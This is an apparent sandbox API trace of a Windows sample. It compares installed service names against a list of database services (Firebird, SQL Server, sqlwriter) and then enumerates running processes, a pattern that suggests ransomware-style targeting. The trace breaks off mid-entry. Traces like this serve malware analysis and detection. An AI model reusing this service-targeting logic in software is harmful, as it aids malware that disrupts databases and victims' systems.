(lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0187.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0187.429] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0187.429] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0187.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0187.429] lstrlenW (lpString="EventLog") returned 8 [0187.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0187.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0187.429] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0187.429] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0187.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0187.429] lstrlenW (lpString="EventSystem") returned 11 [0187.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0187.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0187.429] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0187.430] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0187.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0187.430] lstrlenW (lpString="FontCache") returned 9 [0187.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0187.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0187.430] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0187.430] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0187.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0187.430] lstrlenW (lpString="gpsvc") returned 5 [0187.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0187.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0187.430] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0187.430] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0187.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0187.430] lstrlenW (lpString="iphlpsvc") returned 8 [0187.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.430] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0187.430] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0187.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0187.430] lstrlenW (lpString="KeyIso") returned 6 [0187.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0187.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0187.430] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0187.430] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0187.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0187.430] lstrlenW (lpString="LanmanServer") returned 12 [0187.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0187.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0187.430] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0187.430] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0187.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0187.431] lstrlenW (lpString="LanmanWorkstation") returned 17 [0187.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0187.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0187.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0187.431] lstrlenW (lpString="lfsvc") returned 5 [0187.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0187.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0187.431] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0187.431] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0187.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0187.431] lstrlenW (lpString="lmhosts") returned 7 [0187.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0187.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0187.431] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0187.431] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0187.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0187.431] lstrlenW (lpString="LSM") returned 3 [0187.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0187.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0187.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0187.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0187.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0187.431] lstrlenW (lpString="MpsSvc") returned 6 [0187.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0187.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0187.431] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0187.431] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0187.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0187.431] lstrlenW (lpString="NcbService") returned 10 [0187.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0187.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0187.432] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0187.432] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0187.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0187.432] lstrlenW (lpString="netprofm") returned 8 [0187.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0187.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0187.432] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0187.432] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0187.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0187.432] lstrlenW (lpString="NgcSvc") returned 6 [0187.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0187.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0187.432] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0187.432] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0187.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0187.432] lstrlenW (lpString="NlaSvc") returned 6 [0187.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0187.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0187.432] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0187.432] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0187.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0187.432] lstrlenW (lpString="nsi") returned 3 [0187.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0187.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0187.432] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0187.432] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0187.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0187.432] lstrlenW (lpString="PcaSvc") returned 6 [0187.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0187.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0187.432] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0187.432] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0187.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0187.433] lstrlenW (lpString="PlugPlay") returned 8 [0187.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0187.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0187.433] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0187.433] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0187.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0187.433] lstrlenW (lpString="Power") returned 5 [0187.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0187.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0187.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0187.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0187.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0187.433] lstrlenW (lpString="ProfSvc") returned 7 [0187.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0187.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0187.433] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0187.433] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0187.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0187.433] lstrlenW (lpString="RpcEptMapper") returned 12 [0187.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.433] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0187.433] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0187.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0187.433] lstrlenW (lpString="RpcSs") returned 5 [0187.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0187.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0187.433] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0187.433] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0187.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0187.433] lstrlenW (lpString="SamSs") returned 5 [0187.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0187.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0187.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0187.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0187.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0187.434] lstrlenW (lpString="Schedule") returned 8 [0187.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0187.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0187.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0187.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0187.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0187.434] lstrlenW (lpString="SecurityHealthService") returned 21 [0187.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0187.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0187.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0187.483] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0187.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0187.483] lstrlenW (lpString="SENS") returned 4 [0187.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0187.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0187.483] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0187.483] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0187.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0187.483] lstrlenW (lpString="ShellHWDetection") returned 16 [0187.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.483] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0187.483] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0187.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0187.483] lstrlenW (lpString="Spooler") returned 7 [0187.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0187.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0187.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0187.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0187.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0187.483] lstrlenW (lpString="StateRepository") returned 15 [0187.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0187.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0187.483] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0187.484] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0187.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0187.484] lstrlenW (lpString="SysMain") returned 7 [0187.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0187.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0187.484] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0187.484] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0187.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0187.484] lstrlenW (lpString="SystemEventsBroker") returned 18 [0187.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0187.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0187.484] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0187.484] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0187.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0187.484] lstrlenW (lpString="Themes") returned 6 [0187.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0187.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0187.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0187.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0187.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x456b180 | out: hHeap=0x420000) returned 1 [0187.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4d8 [0187.795] Process32FirstW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.795] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0187.796] lstrlenW (lpString="System") returned 6 [0187.796] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0187.796] lstrlenW (lpString="smss.exe") returned 8 [0187.796] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.796] lstrlenW (lpString="csrss.exe") returned 9 [0187.797] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0187.797] lstrlenW (lpString="wininit.exe") returned 11 [0187.797] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.797] lstrlenW (lpString="csrss.exe") returned 9 [0187.797] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0187.798] lstrlenW (lpString="winlogon.exe") returned 12 [0187.798] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0187.798] lstrlenW (lpString="services.exe") returned 12 [0187.798] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0187.799] lstrlenW (lpString="lsass.exe") returned 9 [0187.799] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0187.799] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0187.799] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0187.799] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0187.799] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.800] lstrlenW (lpString="svchost.exe") returned 11 [0187.800] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.800] lstrlenW (lpString="svchost.exe") returned 11 [0187.800] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0187.801] lstrlenW (lpString="dwm.exe") returned 7 [0187.801] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.801] lstrlenW (lpString="svchost.exe") returned 11 [0187.801] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.801] lstrlenW (lpString="svchost.exe") returned 11 [0187.801] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.802] lstrlenW (lpString="svchost.exe") returned 11 [0187.802] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.802] lstrlenW (lpString="svchost.exe") returned 11 [0187.802] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.803] lstrlenW (lpString="svchost.exe") returned 11 [0187.803] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.803] lstrlenW (lpString="svchost.exe") returned 11 [0187.803] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.804] lstrlenW (lpString="svchost.exe") returned 11 [0187.804] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.804] lstrlenW (lpString="svchost.exe") returned 11 [0187.804] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.804] lstrlenW (lpString="svchost.exe") returned 11 [0187.804] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.805] lstrlenW (lpString="svchost.exe") returned 11 [0187.805] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0187.805] lstrlenW (lpString="spoolsv.exe") returned 11 [0187.805] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.806] lstrlenW (lpString="svchost.exe") returned 11 [0187.806] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0187.806] lstrlenW (lpString="audiodg.exe") returned 11 [0187.806] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0187.807] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0187.807] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, 